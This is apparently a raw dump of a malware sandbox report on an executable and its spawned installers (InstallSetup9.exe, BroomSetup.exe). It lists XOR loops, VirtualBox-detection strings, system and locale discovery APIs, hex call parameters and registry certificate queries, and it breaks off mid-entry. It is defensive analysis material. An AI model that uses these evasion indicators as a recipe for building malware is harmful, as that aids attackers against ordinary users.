Found XOR loop in file "sample.bin" at offset 4443537; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4451171; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4454207; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4462545; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4462743; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4464855; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4477741; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4544379; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4688735; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4790428; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5017200; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5022166; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5111229; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5237917; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5325735; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5437816; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5481405; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5790114; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5901076; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5908250; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6134685; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6191595; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6196858; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6202280; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6230124; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6295477; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6403045; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6568032; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6640666; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6640760; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6640868; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6774981; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6806185; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6861762; code bytes = 80302f:T513,file/memory contains long string with (Indicator: "GetCommandLine"; File: "Math.dll") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp")30:T463,Found string "vboxguestadditions" (Indicator: "VBoxGuest"; Source: "00000000-00001156.00000001.82229.04800000.00000004.mdmp") Found string "\\.\VBoxGuest" (Indicator: "VBoxGuest"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "VBoxWddm" (Indicator: "VBoxWddm"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "VBoxMouse" (Indicator: "VBoxMouse"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "VBoxGuest" (Indicator: "VBoxGuest"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "VBoxSF" (Indicator: "VBoxSF"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "vboxguestadditions" (Indicator: "VBoxGuest"; Source: "00000000-00003572.00000000.82404.00610000.00000004.mdmp")31:T4e1,Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp")32:T5de,Found system information discovery API: "GetSystemInfo" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found system information discovery API: "GetMonitorInfoW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found system information discovery API: "GetEnvironmentStringsW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found system information discovery API: "ExpandEnvironmentStringsW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found system information discovery API: "GetEnvironmentStrings" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00003572.00000000.82404.00408000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStrings" in "00000000-00003572.00000002.84706.0040A000.00000004.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00003572.00000002.84706.0040A000.00000004.mdmp" Found system information discovery API: "WTSRegisterSessionNotification" in "00000000-00004256.00000000.82684.00822000.00000004.mdmp, 00000000-00004256.00000001.84604.00822000.00000004.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00004256.00000000.82684.00822000.00000004.mdmp, 00000000-00004256.00000001.84604.00822000.00000004.mdmp, 00000000-00004256.00000002.86530.71399000.00000002.mdmp"33:T4ff,Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp")34:Tcd3,file/memory contains long string with (Indicator: "sendmessage"; File: "INetC.dll") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "FindWindowW" (Indicator: "findwindow"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000001.84604.712F8000.00000002.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000001.84604.712F8000.00000002.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp")35:T80e,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001400000000000000000000000000000000000000000000000200000240364e009b03009800000000000000000000000080000000000000006c6c0000b0774e000100000000000000020000000c000000f02e4e00f02e4e00eb2e4e000000000000000000000049000000000118f32f000000000038f92f0095e1e776e6fc0b00feffffff435ceb765059eb7694000000a0000000ea2e4e00e82e4e0094000000bcf42f00fdfe14759ced2f000100000038f92f0092e0056e6563039bfeffffff54f42f004c9c056e5c0c000068f42f005f9c056e0000000000000000 (UID: 00000000-00001156)36:T1a1e,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000001005c00530060514d000f00010e3a55000e63006f006e00660069006700750072006100740069006f006e00000055004200570053005c0041000b00000b4055000040364e0050a34d006f00630061006c005c00500072006f0067007200 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebb476800653000030fd7f9a5cec7600b0fd7f14c17f044430fd7f00000000400000003f000000210000000030fd7f08c17f04c15cec766082f376210000000030fd7f9a5cec7600b0fd7f2cc17f045789eb768083f3761317e774d8ebb476 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001156) "InstallSetup9.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebb476901a66000050fd7f9a5cec7600f0fd7fecf412004450fd7f00000000400000003f0000001d0000000050fd7fe0f41200c15cec766082f3761d0000000050fd7f9a5cec7600f0fd7f04f512005789eb768083f3761317e774d8ebb476 (UID: 00000000-00003572) "InstallSetup9.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003572) "InstallSetup9.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003572) "InstallSetup9.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000000000000000000000000000000000c000000a7010000000000000b000000b2010000b20190f3120000000000bcf5120095e1e776f51d0b00feffffff6b2cec763119e77403100000000000000000010000100000000000003801000001000000b8f412006b2cec76 (UID: 00000000-00003572) "288c47bbc1871b439df19ff4df68f076.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000b0d21200000000000000000000000000c4d21200000000000000000000000000c49a27ecb8d21200186de674b8d212002a6de6741c5cea764379e674ffffffff0c0000004c62ea761f79e674ffffffff0c000000ccd21200040000000004000001000000e0d21200210e5a0200000000 (UID: 00000000-00002516) "BroomSetup.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004256) "BroomSetup.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007f00f00700000000008c478c7368a0b8008c478c730000000068a0b800bcfe1200086deb761881f37600000000988d80000000000000000000fcfe120095e1e776db0d0b00feffffff6b2cec763119e774021000000000000000000100d0fe1200c89feb768c478c730000000000000000 (UID: 00000000-00004256) "BroomSetup.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebb4768883b9000030fd7f9a5cec7600f0fd7fc4c712004430fd7f00000000400000003f000000210000000030fd7fb8c71200c15cec766082f376210000000030fd7f9a5cec7600f0fd7fdcc712005789eb768083f3761317e774d8ebb476 (UID: 00000000-00004256) "BroomSetup.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100006cabb700100000001c000000c8db1200ccdc12007ac8a17008000000ac4eea769379e674ffffffff30dc1200000000001cdc12000010000004000000002000003cdc1200bf79e674ffffffff0000cf010000cf01001000000400000074dc1200000013006ee975700000cf01ff000000 (UID: 00000000-00004256) "BroomSetup.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100205061636b203100006cabb700100000001c000000c8db1200ccdc12007ac8a17008000000ac4eea769379e674ffffffff30dc1200000000001cdc12000010000004000000002000003cdc1200bf79e674ffffffff0000cf010000cf01001000000400000074dc1200000013006ee97570 (UID: 00000000-00004256) "BroomSetup.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100205061636b203100205061636b203100006cabb700100000001c000000c8db1200ccdc12007ac8a17008000000ac4eea769379e674ffffffff30dc1200000000001cdc12000010000004000000002000003cdc1200bf79e674ffffffff0000cf010000cf01001000000400000074dc1200 (UID: 00000000-00004256) "288c47bbc1871b439df19ff4df68f076.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000b0d21200000000000000000000000000c4d212000000000000000000000000006e806969b8d21200186de674b8d212002a6de6741c5cea764379e674ffffffff0c0000004c62ea761f79e674ffffffff0c000000ccd21200040000000004000001000000e0d21200210e470200000000 (UID: 00000000-00002180)37:T59d,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "GetLocaleInfoW" with parameter "9" - (UID: 00000000-00001156) "InstallSetup9.exe" called "GetLocaleInfoW" with parameter "1033" - (UID: 00000000-00003572) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "1033" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "65663" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "66567" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "66574" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "66615" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "133124" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "135172" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "136196" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "197636" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "263172" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "263185" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "265220" - (UID: 00000000-00004256) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "267268" - (UID: 00000000-00004256)38:T9ef,Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "FindWindowW" (Indicator: "FindWindow"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000001.84604.71171000.00000020.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp")39:T571,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp")3a:T772,"InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")3b:T5ce,"InstallSetup9.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "InstallSetup9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "InstallSetup9.exe" (Path: 